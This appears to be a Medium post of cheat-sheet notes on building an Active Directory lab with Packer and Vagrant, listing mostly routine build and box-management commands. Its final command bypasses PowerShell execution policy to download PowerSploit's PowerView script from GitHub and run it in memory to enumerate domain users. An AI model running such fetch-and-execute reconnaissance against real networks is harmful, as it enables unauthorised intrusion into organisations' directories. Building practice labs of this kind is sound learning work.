Automate Active Directory(Installation(Packer)+Provisioning(Vagrant))

post-processor "vagrant" {
keep_input_artifact = false //artifact will be deleted
output = "windows_2022_{{.Provider}}.box"
vagrantfile_template = "vagrantfile-windows_2016.template"
}
packer build <json/hcl conifg file>
packer build -debug <json/hcl conifg file>
packer -var <variable=value>
#Packer format
packer fmt <unformatted hcl config>
packer validate <config file>
packer hcl2_upgrade <json config>#packer env vars
PACKER_LOG #enables packer logs
PACKER_LOG_PATH #spcifes file path for storing log file
vagrant statusvagrant box list
vagrant box outdated
vagrant box update
vagrant box remove <box>
vagrant box add <box_path>
vagrant plugin list
vagrant plugin update
vagrant plugin uninstall <pluin>
vagrant package --output <centos.box> # run this after making changes, this is similar to creating images in docker
vagrant package --base <vm_name>
VAGRANT_HOME=F:\\.vagrant.d
VAGRANT_DEFAULT_PROVIDER=vmware_desktop
#Provision
vagrant provision
vagrant powershell
cd packer_project
packer build apni.json.pkr.hcl
packer build <packer_config_file>
cd Challenge_1/vagrant_project
vagrant up
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1');Get-DomainUser | Select-Object samaccountname"

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store